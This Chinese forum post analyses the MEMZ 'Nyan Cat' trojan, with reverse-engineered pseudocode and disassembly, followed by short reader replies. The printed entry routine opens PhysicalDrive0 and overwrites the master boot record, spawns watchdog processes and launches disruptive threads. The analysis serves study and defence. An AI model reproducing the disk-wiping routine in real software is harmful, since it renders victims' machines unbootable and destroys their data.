首页
社区
课程
招聘
[原创]彩虹猫病毒的逆向
2020-7-21 02:17 8978

[原创]彩虹猫病毒的逆向

2020-7-21 02:17
8978

搞了一个彩虹猫的病毒,运行了一下,还挺好玩的
执行效果:
第一次警告:
图片描述%20
第二次警告:
图片描述
记事本显示提示信息:
图片描述
大致意思是说你电脑完犊子了,快使用它把,也别杀死进程,不然系统会变的一团糟

 

之后就是一段鬼畜
图片描述
像极了去蹦迪的我
图片描述
最后系统蓝屏,重启后就是彩虹猫的图片
图片描述

初步分析:

样本信息:
图片描述
查壳:
图片描述
无壳

 

这里我先使用ProcessMonitor查看一下程序会进行哪些操作
注:因为会运行程序,所以提前备份一下
进程树:
图片描述
所以可以推测:
1、该样本会创建多个恶意进程
2、该样本会调用其他程序(notepad.exe)
对注册表的操作:
一、删除注册表值:
图片描述
可以发现,程序去尝试删除浏览器的一些信任网点
3、该样本会删除浏览器信任网站
二、修改注册表的值
图片描述
这里的字段具体功能不清楚,但看字面意思应该是对信任的网点的操作
三、创建注册表键
图片描述
这里也是对信任网点的操作

 

对文件的操作:
一、创建文件:
图片描述
这里样本程序创建了一些pf 文件,同时也调用了notepad.exe和chrome.exe

 

对进程的操作:
一、创建进程
图片描述
程序创建了6个自身进程,而且还创建了notepad.exe, 这里应该是用于显示那段警告

 

总结:上述对样本进行了初步的行为分析,大致得出样本具有以下功能

  • 对计算机桌面进行恶意干扰
  • 创建多个恶意进程
  • 调用其他进程
  • 对注册表进行修改
  • 恶意创建文件

详细分析:

静态分析:

使用IDA 加载程序,对样本程序进行静态分析
先查看一下字符串:
图片描述
字符串里面存在大量的URL ,推测应该会对这些这些链接进行请求
其次这里面也存在一些程序名,比如notepad记事本,推测样本会对这些程序进行某种操作
图片描述
最后这里面就是一些提示性的字符串,这里一些在样本执行后的弹窗或notepad 程序都有出现
图片描述
查看函数,发现该样本程序的函数不是很多
图片描述
便于分析,定位到入口函数,生成伪代码查看:
图片描述
图片描述
可以看出这里存在三处警告的提示字符串,在三次警告之后,使用watchdog 的方式创建了5次进程,对应上述的样本会见多个进程的功能。
完整的入口点的伪代码如下:

void __noreturn start()
{
  const WCHAR *v0; // eax
  LPWSTR *v1; // eax
  HANDLE v2; // ebx
  unsigned int v3; // edi
  _BYTE *v4; // esi
  _BYTE *v5; // ecx
  unsigned int v6; // ecx
  HANDLE v7; // esi
  unsigned int v8; // edi
  DWORD *v9; // esi
  WCHAR *v10; // esi
  signed int v11; // edi
  SHELLEXECUTEINFOW pExecInfo; // [esp+Ch] [ebp-64h]
  MSG Msg; // [esp+48h] [ebp-28h]
  DWORD NumberOfBytesWritten; // [esp+64h] [ebp-Ch]
  HANDLE hObject; // [esp+68h] [ebp-8h]
  int pNumArgs; // [esp+6Ch] [ebp-4h]

  dword_405184 = GetSystemMetrics(0);           // SM_CXSCREEN,获取屏幕尺寸
  dword_405188 = GetSystemMetrics(1);           // SM_CYSCREEN
  v0 = GetCommandLineW();                       // 获取命令行
  v1 = CommandLineToArgvW(v0, &pNumArgs);
  if ( pNumArgs > 1 )
  {
    if ( !lstrcmpW(v1[1], L"/watchdog") )       // 判断是否以开门狗的方式启动
    {
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadProcFunc, 0, 0, 0);// 创建线程
      pExecInfo.lpVerb = (LPCWSTR)48;           // 设置执行程序结构体属性
      pExecInfo.lpParameters = (LPCWSTR)DefWindowProc;
      pExecInfo.u.hIcon = "hax";
      pExecInfo.lpFile = 0;
      pExecInfo.lpDirectory = 0;
      pExecInfo.nShow = 0;
      pExecInfo.hInstApp = 0;
      pExecInfo.lpIDList = 0;
      pExecInfo.lpClass = 0;
      pExecInfo.hkeyClass = 0;
      pExecInfo.dwHotKey = 0;
      pExecInfo.hProcess = 0;
      RegisterClassExA((const WNDCLASSEXA *)&pExecInfo.lpVerb);// 注册执行程序
      CreateWindowExA(0, "hax", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);
      while ( GetMessageW(&Msg, 0, 0, 0) > 0 )  // 拦截消息
      {
        TranslateMessage(&Msg);
        DispatchMessageW(&Msg);
      }
    }
    v2 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
    hObject = v2;
    if ( v2 == (HANDLE)-1 )
      ExitProcess(2u);
    v3 = 0;
    v4 = LocalAlloc(0x40u, 0x10000u);
    v5 = v4;
    do
    {
      ++v3;
      *v5 = v5[byte_402118 - v4];
      ++v5;
    }
    while ( v3 < 0x12F );
    v6 = 0;
    do
    {
      v4[v6 + 510] = byte_402248[v6];
      ++v6;
    }
    while ( v6 < 0x7A0 );
    if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) )
      ExitProcess(3u);
    CloseHandle(hObject);
    v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);// 创建文件 note.txt
    if ( v7 == (HANDLE)-1 )
      ExitProcess(4u);
    if ( !WriteFile(                            // 写入文件
            v7,
            "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
            "\r\n"
            "Your computer won't boot up again,\r\n"
            "so use it as long as you can!\r\n"
            "\r\n"
            ":D\r\n"
            "\r\n"
            "Trying to kill MEMZ will cause your system to be\r\n"
            "destroyed instantly, so don't try it :D",
            0xDAu,
            &NumberOfBytesWritten,
            0) )
      ExitProcess(5u);
    CloseHandle(v7);
    ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);// 打开notepad显示提示信息
    v8 = 0;
    v9 = (DWORD *)&off_405130;
    do
    {
      Sleep(v9[1]);
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SleepThreadProcFunc, v9, 0, 0);
      ++v8;
      v9 += 2;
    }
    while ( v8 < 0xA );                         // 创建10个线程,Sleep
    while ( 1 )
      Sleep(0x2710u);
  }
  if ( MessageBoxA(
         0,
         "The software you just executed is considered malware.\r\n"
         "This malware will harm your computer and makes it unusable.\r\n"
         "If you are seeing this message without knowing what you just executed, simply press No and nothing will happen."
         "\r\n"
         "If you know what this malware does and are using a safe environment to test, press Yes to start it.\r\n"
         "\r\n"
         "DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?",
         "MEMZ",
         0x34u) == 6
    && MessageBoxA(
         0,
         "THIS IS THE LAST WARNING!\r\n"
         "\r\n"
         "THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n"
         "STILL EXECUTE IT?",
         "MEMZ",
         0x34u) == 6 )
  {
    v10 = (WCHAR *)LocalAlloc(0x40u, 0x4000u);
    GetModuleFileNameW(0, v10, 0x2000u);
    v11 = 5;                                    // 创建5次进程
    do
    {
      ShellExecuteW(0, 0, v10, L"/watchdog", 0, 10);// 执行/watchdog
      --v11;
    }
    while ( v11 );
    pExecInfo.cbSize = 60;
    pExecInfo.lpFile = v10;
    pExecInfo.lpParameters = L"/main";
    pExecInfo.fMask = 64;
    pExecInfo.hwnd = 0;
    pExecInfo.lpVerb = 0;
    pExecInfo.lpDirectory = 0;
    pExecInfo.hInstApp = 0;
    pExecInfo.nShow = 10;
    ShellExecuteExW(&pExecInfo);
    SetPriorityClass(pExecInfo.hProcess, 0x80u);
  }
  ExitProcess(0);
}

这里就只写一下入口点的分析,对于其他函数的分析就不贴出来了。
对样本进行了基本的静态分析,得出样本具有以下功能:

* 创建多个线程
* 恶意干扰用户操作(屏幕分辨率调节、屏幕闪烁、鼠标随机位置、随机加载图标等)
* 对硬盘的主引导区进行覆盖

大致得出这么多,之后使用OD进行动态调试一下,配合IDA 看的稍微明显些
首先是进入入口点分析:
图片描述
这里说明一下,当无参数启动时,部分语句不会执行,而使用watchdog 参数启动时,需要接受消息事件。

 

首先这里我调试两个功能:
1、主引导区的覆盖
2、创建多个线程

1、主引导区覆盖:
001D1306  |.^\7F DF         \JG SHORT MEMZ.001D12E7                                 ;  创建文件,覆盖原有的主引导区
001D1308  |>  53            PUSH EBX                                                ; /hTemplateFile
001D1309  |.  53            PUSH EBX                                                ; |Attributes = 0
001D130A  |.  6A 03         PUSH 0x3                                                ; |Mode = OPEN_EXISTING
001D130C  |.  53            PUSH EBX                                                ; |pSecurity
001D130D  |.  6A 03         PUSH 0x3                                                ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
001D130F  |.  68 000000C0   PUSH 0xC0000000                                         ; |Access = GENERIC_READ|GENERIC_WRITE
001D1314  |.  68 64391D00   PUSH MEMZ.001D3964                                      ; |FileName = "\\\\.\\PhysicalDrive0"
001D1319  |.  FF15 7C201D00 CALL DWORD PTR DS:[<&KERNEL32.CreateFileA>]             ; \CreateFileA
001D131F  |.  8BD8          MOV EBX, EAX                                            ;  文件句柄7C
001D1321  |.  895D F8       MOV DWORD PTR SS:[EBP-0x8], EBX
001D1324  |.  83FB FF       CMP EBX, -0x1
001D1327  |.  75 08         JNZ SHORT MEMZ.001D1331
001D1329  |.  6A 02         PUSH 0x2                                                ; /ExitCode = 0x2
001D132B  |>  FF15 68201D00 CALL DWORD PTR DS:[<&KERNEL32.ExitProcess>]             ; \ExitProcess
001D1331  |>  68 00000100   PUSH 0x10000                                            ; /Size = 10000 (65536.)
001D1336  |.  6A 40         PUSH 0x40                                               ; |Flags = LPTR
001D1338  |.  FF15 78201D00 CALL DWORD PTR DS:[<&KERNEL32.LocalAlloc>]              ; \LocalAlloc
001D133E  |.  33FF          XOR EDI, EDI
001D1340  |.  8BF0          MOV ESI, EAX
001D1342  |.  393D E8291D00 CMP DWORD PTR DS:[0x1D29E8], EDI
001D1348  |.  76 18         JBE SHORT MEMZ.001D1362
001D134A  |.  BA 18211D00   MOV EDX, MEMZ.001D2118
001D134F  |.  8BCE          MOV ECX, ESI
001D1351  |.  2BD6          SUB EDX, ESI
001D1353  |>  8A040A        /MOV AL, BYTE PTR DS:[EDX+ECX]                          ;  循环了12F次
001D1356  |.  47            |INC EDI
001D1357  |.  8801          |MOV BYTE PTR DS:[ECX], AL
001D1359  |.  41            |INC ECX
001D135A  |.  3B3D E8291D00 |CMP EDI, DWORD PTR DS:[0x1D29E8]
001D1360  |.^ 72 F1         \JB SHORT MEMZ.001D1353
001D1362  |>  33C9          XOR ECX, ECX
001D1364  |.  390D EC291D00 CMP DWORD PTR DS:[0x1D29EC], ECX
001D136A  |.  76 16         JBE SHORT MEMZ.001D1382
001D136C  |>  8A81 48221D00 /MOV AL, BYTE PTR DS:[ECX+0x1D2248]                     ;  循环7A0次
001D1372  |.  88840E FE0100>|MOV BYTE PTR DS:[ESI+ECX+0x1FE], AL
001D1379  |.  41            |INC ECX
001D137A  |.  3B0D EC291D00 |CMP ECX, DWORD PTR DS:[0x1D29EC]
001D1380  |.^ 72 EA         \JB SHORT MEMZ.001D136C                                 ;  写入数据向主分区
001D1382  |>  6A 00         PUSH 0x0                                                ; /pOverlapped = NULL
001D1384  |.  8D45 F4       LEA EAX, DWORD PTR SS:[EBP-0xC]                         ; |
001D1387  |.  50            PUSH EAX                                                ; |pBytesWritten
001D1388  |.  68 00000100   PUSH 0x10000                                            ; |nBytesToWrite = 10000 (65536.)
001D138D  |.  56            PUSH ESI                                                ; |Buffer
001D138E  |.  53            PUSH EBX                                                ; |hFile
001D138F  |.  8B1D 24201D00 MOV EBX, DWORD PTR DS:[<&KERNEL32.WriteFile>]           ; |kernel32.WriteFile
001D1395  |.  FFD3          CALL EBX                                                ; \WriteFile

写入的数据:
图片描述

2、创建多个线程:
001D1423         |> /FF76 04       /PUSH DWORD PTR DS:[ESI+0x4]                            ;  休眠30s
001D1426         |. |FFD3          |CALL EBX
001D1428         |. |33C0          |XOR EAX, EAX
001D142A         |. |50            |PUSH EAX                                               ; /pThreadId => NULL
001D142B         |. |50            |PUSH EAX                                               ; |CreationFlags => 0
001D142C         |. |56            |PUSH ESI                                               ; |pThreadParm
001D142D         |. |68 2B1A1D00   |PUSH MEMZ.001D1A2B                                     ; |ThreadFunction = MEMZ.001D1A2B
001D1432         |. |50            |PUSH EAX                                               ; |StackSize => 0x0
001D1433         |. |50            |PUSH EAX                                               ; |pSecurity => NULL
001D1434         |. |FF15 64201D00 |CALL DWORD PTR DS:[<&KERNEL32.CreateThread>]           ; \CreateThread
001D143A         |. |47            |INC EDI
001D143B         |. |83C6 08       |ADD ESI, 0x8
001D143E         |. |3B3D DC391D00 |CMP EDI, DWORD PTR DS:[0x1D39DC]
001D1444         |.^\72 DD         \JB SHORT MEMZ.001D1423                                 ;  循环,创建10个恶意线程

图片描述
样本会创建多个进程,并且这些线程会进入死循环,直到系统崩溃。这些线程具体实现了以下的功能:

1、设置随机鼠标的位置:
 

图片描述

2、模拟键盘:
 

图片描述

3、播放声音:
 

图片描述

4、屏幕闪烁:
 

图片描述

5、显示图标:
 

图片描述

6、随机链接:
 

图片描述

7、遍历子窗口:
 

图片描述

8、修改分辨率:
 

图片描述

9、改变颜色:
 

图片描述


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2020-7-23 22:52 被tutuj编辑 ,原因: 附加文件
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (8)
雪    币: 12837
活跃值: (8998)
能力值: ( LV9,RANK:280 )
在线值:
发帖
回帖
粉丝
hzqst 3 2020-7-21 09:14
2
0
Nyanyanyanyanyanyanya
雪    币: 310
活跃值: (1917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 2020-7-21 10:13
3
0
感谢分享
雪    币: 4083
活跃值: (3738)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
昵称好麻烦 2020-7-21 10:23
4
0
为什么他能覆盖主引导区呢?这个在xp上都不需要驱动来搞吗?
雪    币: 405
活跃值: (1870)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wowocock 1 2020-7-21 11:05
5
0
这玩意主要是在实模式下做动画,挺有创意的。
雪    币: 2663
活跃值: (5215)
能力值: ( LV10,RANK:177 )
在线值:
发帖
回帖
粉丝
YenKoc 2 2020-7-23 16:50
6
0
师傅,有样本吗,拿来玩玩
雪    币: 119
活跃值: (32)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_菠萝 2020-7-23 17:00
7
0
彩虹猫公布了很多有趣恶意的代码。。没必要分析
雪    币: 471
活跃值: (3087)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
xss 4 2020-8-11 20:22
8
0
Funny code
雪    币: 3182
活跃值: (2307)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
WangONC 2 2020-8-14 09:10
9
0
彩虹猫作者可真是个人才,我模仿着写了一个,乱七八糟的动画可太秀了
游客
登录 | 注册 方可回帖
返回